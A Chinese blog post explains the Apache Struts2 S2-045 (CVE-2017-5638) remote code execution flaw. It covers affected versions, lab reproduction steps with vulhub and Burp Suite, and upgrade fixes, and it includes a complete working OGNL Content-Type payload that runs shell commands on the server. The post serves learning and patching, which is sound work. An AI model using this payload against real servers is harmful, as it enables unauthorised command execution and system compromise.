Apache Struts2的S2-045漏洞是一种高危远程代码执行漏洞,其编号为CVE-2017-5638,该漏洞在使用基于Jakarta插件的文件上传功能时,通过修改HTTP请求头中的Content-Type值来触发,从而可能导致系统被黑客入侵,以下是关于Struts S2-045漏洞的详细介绍:
漏洞详情
项目 | 详细信息 |
漏洞编号 | S2-045 |
CVE编号 | CVE-2017-5638 |
漏洞类型 | 远程代码执行 |
漏洞级别 | 高危 |
漏洞风险 | 黑客可以通过利用该漏洞实现远程命令执行,获取操作系统及数据库权限 |
影响版本 | Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 |
环境准备
1、Docker环境及vulhub靶场:用于搭建测试环境。
2、Burp Suite抓包工具:用于抓取和修改HTTP请求包。
漏洞复现步骤
1、启动Docker环境:使用Docker启动vulhub/struts2:2.3镜像,并映射本地的8080端口。
2、访问Web页面:在浏览器中访问http://your-ip:8080查看上传页面。
3、抓包与修改:使用Burp Suite抓包工具抓取数据包,修改Content-Type字段为恶意构造的值。
4、发送请求:发送修改后的数据包,观察响应数据的变化,验证漏洞是否被成功触发。
POC示例
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
修复建议
1、升级Struts2版本:将Struts2升级到2.3.32或2.5.10.1版及以上版本。
2、切换文件上传解析器:如果不使用Jakarta插件的文件上传功能,可以考虑切换到其他实现文件上传功能的解析器。
Struts S2-045漏洞是一个严重的安全漏洞,通过简单的HTTP请求头修改即可触发远程命令执行,建议用户尽快升级到修复后的Struts2版本,以降低潜在的安全风险。
各位小伙伴们,我刚刚为大家分享了有关struts S2-045漏洞的知识,希望对你们有所帮助。如果您还有其他相关问题需要解决,欢迎随时提出哦!
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/88909.html